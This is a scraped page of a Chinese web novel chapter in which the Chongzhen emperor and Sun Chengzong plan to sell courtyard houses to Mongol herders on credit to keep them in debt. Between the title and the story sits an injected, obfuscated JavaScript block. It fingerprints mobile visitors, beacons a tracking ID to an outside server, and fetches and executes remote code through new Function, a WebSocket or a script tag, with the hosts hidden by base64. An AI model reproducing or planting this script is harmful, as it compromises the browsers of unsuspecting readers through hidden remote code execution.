第601章 商业地产雏形,大明国营公司(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“请陛下示下!”
看着自信满满的皇帝,孙承宗也懒得思考了,直接请皇帝明说。
“孙爱卿,不仅要修城墙,城内的房屋建筑、街道、店铺等等都要我们修建,这么算下来,你刚刚说的造价,还要翻上一倍!”
“什么,城内也要我们建设?这、这……”
孙承宗直接懵了,倒不是因为造价的问题,而是工程量的问题了,而且他也搞不懂为什么要朝廷做这个事情。
看着吃惊的孙承宗,崇祯轻声道:“孙爱卿,朕问你,普通的三合院的多大面积?”
“基本上是宽在十五米,深度十八米,按照陛下给的新单位,差不多在一百五十到两百平方左右。”
“如果按照你说的这个面,按照北京城胡同和坊市的规划,你觉得可以建多少座三合院?”
“陛下,借笔墨纸砚一用!”
孙承宗在纸上写写画画了半炷香的时间:“陛下,如果按两百平米算,大概在一万座,再除去街道、胡同、坊市之间的通道等等,估摸应该有九千座左右。”
说到这里,孙承宗突然愣住了,脑海中闪过一道可能的想法,迟疑了片刻,轻声道:“陛下是想将这些三合院卖出去?”
“京城一套如此大的三合院造价大概在三十五两到四十两银子,这边因为取材和工匠的问题,加上地契等等至少能卖五十两银子,
五十两银子看起来很多,但对蒙古牧民来说并不算太多,互市中战马的价格大概八到十五两银子,上等羊肉每斤一钱二分,
牧民家里养个三四头马和几头养等等,如果这些牲口生产顺利,三五年的功夫就能买的一起一套房子,一套房子住个七八口人是没问题的。
如果采用陕西还地于民的先用后还的手段,加上利息,五年内,他们就只能为我们免费打工了。
这一次他们的战利品被我们给缴获了,他们想要养牛马羊等,只能先从我们手上赊欠,然后再慢慢还,
如此算下来,未来十年,他们就只能为了一座房子服务了!”
“嘶……”
孙承宗的一番盘算不仅将自己给惊到了,大帐内的诸将都被惊呆了。
如果真的这么实施,蒙古诸部以后就彻底的废了。
五十两一座三合院,九千座就是四十五万两,已经完全可以解决修成的费用了。
听着孙承宗的账,崇祯也是暗自点头,脑子果然转的比较快,立刻就明白了自己的意图。